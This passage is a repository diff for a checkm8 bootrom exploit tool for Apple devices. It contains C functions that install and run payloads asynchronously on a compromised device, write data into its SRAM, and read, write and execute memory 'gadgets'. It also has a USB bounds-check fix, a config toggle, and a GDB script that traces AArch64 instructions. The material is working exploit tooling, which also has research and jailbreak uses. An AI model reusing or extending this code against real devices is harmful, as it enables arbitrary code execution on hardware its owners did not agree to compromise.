checkm8_debug_indent("\talso failed to free buffer (something is really wrong)\n");
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
task_args[0] = ADDR_TASK_NEW;
|
||||
task_args[1] = 0x10001943b; // todo: name pointer
|
||||
task_args[2] = pl->install_base;
|
||||
task_args[3] = buf_addr;
|
||||
task_args[4] = 0x4000;
|
||||
|
||||
resp = dev_exec(dev, 0, 5, task_args);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to create a new task\n");
|
||||
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, buf_addr)))
|
||||
{
|
||||
checkm8_debug_indent("\talso failed to free buffer (something is really wrong)\n");
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
pl->async_base = resp->retval;
|
||||
free_dev_cmd_resp(resp);
|
||||
return buf_addr;
|
||||
}
|
||||
|
||||
int run_payload_async(struct pwned_device *dev, PAYLOAD_T p)
|
||||
{
|
||||
checkm8_debug_indent("run_payload_async(dev = %p, payload = %i)\n", dev, p);
|
||||
struct payload *pl;
|
||||
struct dev_cmd_resp *resp;
|
||||
unsigned long long args[2];
|
||||
int retval;
|
||||
|
||||
if((pl = dev_retrieve_payload(dev, p)) == NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tpayload is not installed!\n");
|
||||
return CHECKM8_FAIL_NOINST;
|
||||
}
|
||||
|
||||
if(pl->async_base == DEV_PTR_NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tasync payload is not set up correctly!\n");
|
||||
return CHECKM8_FAIL_NOINST;
|
||||
}
|
||||
|
||||
args[0] = ADDR_TASK_RUN;
|
||||
args[1] = pl->async_base;
|
||||
|
||||
resp = dev_exec(dev, 0, 2, args);
|
||||
retval = resp->ret;
|
||||
free_dev_cmd_resp(resp);
|
||||
|
||||
return retval;
|
||||
}
|
||||
|
||||
int kill_payload_async(struct pwned_device *dev, PAYLOAD_T p, DEV_PTR_T buf_addr)
|
||||
{
|
||||
checkm8_debug_indent("kill_payload_async(dev = %p, p = %i, buf_addr = %llx)\n", dev, p, buf_addr);
|
||||
struct payload *pl;
|
||||
struct dev_cmd_resp *resp;
|
||||
unsigned long long args[2];
|
||||
|
||||
if((pl = dev_retrieve_payload(dev, p)) == NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tpayload is not installed\n");
|
||||
return CHECKM8_FAIL_NOINST;
|
||||
}
|
||||
|
||||
if(pl->async_base == DEV_PTR_NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tasync payload is not set up correctly\n");
|
||||
return CHECKM8_FAIL_NOINST;
|
||||
}
|
||||
|
||||
args[0] = ADDR_TASK_FREE;
|
||||
args[1] = pl->async_base;
|
||||
|
||||
resp = dev_exec(dev, 0, 2, args);
|
||||
pl->async_base = DEV_PTR_NULL;
|
||||
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to kill payload\n");
|
||||
free_dev_cmd_resp(resp);
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
if(IS_CHECKM8_FAIL(free_address(dev, SRAM, buf_addr)))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to free shared buffer\n");
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
DEV_PTR_T install_data(struct pwned_device *dev, LOCATION_T loc, unsigned char *data, int len)
|
||||
{
|
||||
checkm8_debug_indent("install_data(dev = %p, loc = %i, data = %p, len = %i)\n", dev, loc, data, len);
|
||||
struct dev_cmd_resp *resp;
|
||||
DEV_PTR_T addr = get_address(dev, loc, len);
|
||||
|
||||
if(addr == DEV_PTR_NULL)
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to get an address\n");
|
||||
return DEV_PTR_NULL;
|
||||
}
|
||||
|
||||
checkm8_debug_indent("\twriting data to address %X\n", addr);
|
||||
resp = dev_write_memory(dev, addr, data, len);
|
||||
if(IS_CHECKM8_FAIL(resp->ret))
|
||||
{
|
||||
checkm8_debug_indent("\tfailed to write data\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
free_dev_cmd_resp(resp);
|
||||
return addr;
|
||||
}
|
||||
|
||||
int uninstall_data(struct pwned_device *dev, DEV_PTR_T addr)
|
||||
{
|
||||
checkm8_debug_indent("uninstall_data(dev = %p, addr = %X)\n", dev, addr);
|
||||
return free_address(dev, SRAM, addr);
|
||||
}
|
||||
|
||||
int uninstall_all_data(struct pwned_device *dev)
|
||||
{
|
||||
checkm8_debug_indent("uninstall_all_data(dev = %p)\n", dev);
|
||||
int retval;
|
||||
|
||||
while(dev->inst_data != NULL)
|
||||
{
|
||||
retval = uninstall_data(dev, dev->inst_data->addr);
|
||||
if(IS_CHECKM8_FAIL(retval))
|
||||
{
|
||||
checkm8_debug_indent("\terror while uninstalling data\n");
|
||||
return retval;
|
||||
}
|
||||
}
|
||||
|
||||
return CHECKM8_SUCCESS;
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *read_gadget(struct pwned_device *dev, DEV_PTR_T addr, int len)
|
||||
{
|
||||
checkm8_debug_indent("read_gadget(dev = %p, addr = %lx, len = %i)\n", dev, addr, len);
|
||||
return dev_read_memory(dev, addr, len);
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *write_gadget(struct pwned_device *dev, long long addr, unsigned char *data, int len)
|
||||
struct dev_cmd_resp *write_gadget(struct pwned_device *dev, DEV_PTR_T addr, unsigned char *data, int len)
|
||||
{
|
||||
checkm8_debug_indent("write_gadget(dev = %p, addr = %lx, data = %p, len = %i)\n", dev, addr, data, len);
|
||||
return dev_write_memory(dev, addr, data, len);
|
||||
}
|
||||
|
||||
struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, long long addr, int response_len, int nargs, ...)
|
||||
struct dev_cmd_resp *execute_gadget(struct pwned_device *dev, DEV_PTR_T addr, int response_len, int nargs, ...)
|
||||
{
|
||||
checkm8_debug_indent("execute_gadget(dev = %p, addr = %lx, nargs = %i)\n", dev, addr, nargs);
|
||||
int i;
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
#include "usb_helpers.h"
|
||||
#include "tool/usb_helpers.h"
|
||||
|
||||
#ifdef WITH_ARDUINO
|
||||
|
||||
@@ -517,6 +517,12 @@ int ctrl_transfer(struct pwned_device *dev,
|
||||
// get the size of this chunk
|
||||
size = 0;
|
||||
ard_read(dev, (unsigned char *) &size, 2);
|
||||
if(size > ARD_BUF_SIZE)
|
||||
{
|
||||
checkm8_debug_indent("\treceived bad chunk size %i\n", size);
|
||||
return CHECKM8_FAIL_XFER;
|
||||
}
|
||||
|
||||
checkm8_debug_indent("\treceiving data chunk of size %i\n", size);
|
||||
|
||||
ard_read(dev, (unsigned char *) &data[amount], size);
|
||||
|
||||
@@ -3,7 +3,7 @@
|
||||
|
||||
#define CHECKM8_LOGGING
|
||||
|
||||
#define WITH_ARDUINO
|
||||
//#define WITH_ARDUINO
|
||||
#define ARDUINO_DEV "/dev/ttyACM0"
|
||||
#define ARDUINO_BAUD 115200
|
||||
|
||||
|
||||
111
tools/profile.py
Normal file
111
tools/profile.py
Normal file
@@ -0,0 +1,111 @@
|
||||
import gdb
|
||||
|
||||
def val_from_sym(name):
|
||||
print 'getting value for %s' % name
|
||||
|
||||
try:
|
||||
if name == 'wzr' or name == 'xzr':
|
||||
return '0'
|
||||
|
||||
elif name[0] == '#':
|
||||
return name
|
||||
|
||||
elif name[0] in ['x', 'w']:
|
||||
return '0x{:x}'.format(int(gdb.selected_frame().read_register(name)))
|
||||
|
||||
else:
|
||||
return None
|
||||
|
||||
except:
|
||||
return 'val?'
|
||||
|
||||
|
||||
class Profile(gdb.Command):
|
||||
def __init__(self):
|
||||
super(Profile, self).__init__("profile", gdb.COMMAND_USER)
|
||||
|
||||
def invoke(self, args, from_tty):
|
||||
argv = gdb.string_to_argv(args)
|
||||
if len(argv) != 1:
|
||||
raise gdb.GdbError("Usage: profile [fname]")
|
||||
|
||||
arch = gdb.selected_frame().architecture()
|
||||
instr_type = gdb.lookup_type("unsigned int").pointer()
|
||||
|
||||
next_dest = None
|
||||
stack = []
|
||||
|
||||
outfile = open(argv[0], "a+")
|
||||
|
||||
while True:
|
||||
if next_dest is not None:
|
||||
outfile.write('\tdest %s\n' % val_from_sym(next_dest))
|
||||
next_dest = None
|
||||
|
||||
addr = gdb.selected_frame().read_register("pc")
|
||||
instr = arch.disassemble(int(str(addr), 16))[0]['asm']
|
||||
if instr == '.inst\t0x00000000 ; undefined':
|
||||
break
|
||||
|
||||
instr_spl = instr.split()
|
||||
|
||||
mnem = instr_spl[0]
|
||||
dest = None
|
||||
arg1 = None
|
||||
arg2 = None
|
||||
|
||||
outfile.write('\n%s\t%s\n' % (addr, instr))
|
||||
if len(instr_spl) > 1:
|
||||
dest = instr_spl[1].strip(',')
|
||||
|
||||
if len(instr_spl) > 2:
|
||||
arg1 = instr_spl[2].strip(',')
|
||||
|
||||
if len(instr_spl) > 3:
|
||||
arg2 = instr_spl[3].strip(',')
|
||||
|
||||
if mnem == 'bl' or mnem == 'blr':
|
||||
outfile.write('\tentering %s\n' % dest)
|
||||
stack.append(dest)
|
||||
|
||||
outfile.write('\targs: [')
|
||||
for reg in ['x0', 'x1', 'x2', 'x3', 'x4', 'x5', 'x6', 'x7']:
|
||||
outfile.write('%s, ' % val_from_sym(reg))
|
||||
outfile.write(']\n')
|
||||
|
||||
elif mnem == 'ret':
|
||||
if len(stack) > 0:
|
||||
outfile.write('\tfinished %s\n' % stack.pop())
|
||||
else:
|
||||
outfile.write('\tfinished ??\n')
|
||||
|
||||
outfile.write('\tretval %s\n' % val_from_sym('x0'))
|
||||
|
||||
elif mnem == 'ldr' or mnem == 'ldp':
|
||||
outfile.write('\tdest %s\n' % val_from_sym(dest))
|
||||
if mnem == 'ldp':
|
||||
outfile.write('\tdest %s\n' % val_from_sym(arg1))
|
||||
|
||||
elif mnem == 'str' or mnem == 'stp':
|
||||
outfile.write('\targ1 %s\n' % val_from_sym(dest))
|
||||
if mnem == 'stp':
|
||||
outfile.write('\targ2 %s\n' % val_from_sym(arg1))
|
||||
|
||||
else:
|
||||
if dest is not None and dest[0] in ['x', 'w']:
|
||||
next_dest = dest
|
||||
|
||||
if arg1 is not None:
|
||||
val = val_from_sym(arg1)
|
||||
if val is not None:
|
||||
outfile.write('\targ1 %s\n' % val)
|
||||
|
||||
if arg2 is not None:
|
||||
val = val_from_sym(arg2)
|
||||
if val is not None:
|
||||
outfile.write('\targ2 %s\n' % val)
|
||||
|
||||
gdb.execute("stepi", to_string=False)
|
||||
outfile.close()
|
||||
|
||||
Profile()
|
||||
Reference in New Issue
Block a user